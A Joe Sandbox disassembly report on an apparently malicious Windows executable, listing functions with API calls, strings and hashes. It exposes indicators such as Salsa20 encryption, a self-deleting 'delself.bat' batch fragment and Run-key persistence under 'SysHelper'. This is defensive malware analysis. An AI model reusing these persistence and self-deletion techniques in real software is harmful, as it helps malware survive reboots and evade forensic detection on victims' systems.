Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: c304b8838ffad965ef1519d68e08274285a6e14b9f19c4db7e45e903d279ed5b
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: c304b8838ffad965ef1519d68e08274285a6e14b9f19c4db7e45e903d279ed5b
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 567d7dae523e8cf071f60b6d9254d1c0a11b6878fb868ff70e0d62ab5362e99b
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 567d7dae523e8cf071f60b6d9254d1c0a11b6878fb868ff70e0d62ab5362e99b
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

" goto try, xrefs: 00412666
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
D, xrefs: 00412720
@echo off:trydel ", xrefs: 0041262A
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
"if exist ", xrefs: 00412648
delself.bat, xrefs: 0041261C
del ", xrefs: 00412674
TEMP, xrefs: 004125DF

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(00635448), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Strings

HTc, xrefs: 00427B5A, 00427B7E, 00427B90

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID: HTc
API String ID: 3064303923-2342825432
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----END , xrefs: 0046382F, 00463940, 004639E4
-----BEGIN , xrefs: 004636A4
-----, xrefs: 004636D4, 00463A21
, xrefs: 00463A90
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 5075abd3b7781529bf4608b3d91f823d00f671c0f59faa4ecf70233b2191990b
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 5075abd3b7781529bf4608b3d91f823d00f671c0f59faa4ecf70233b2191990b
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
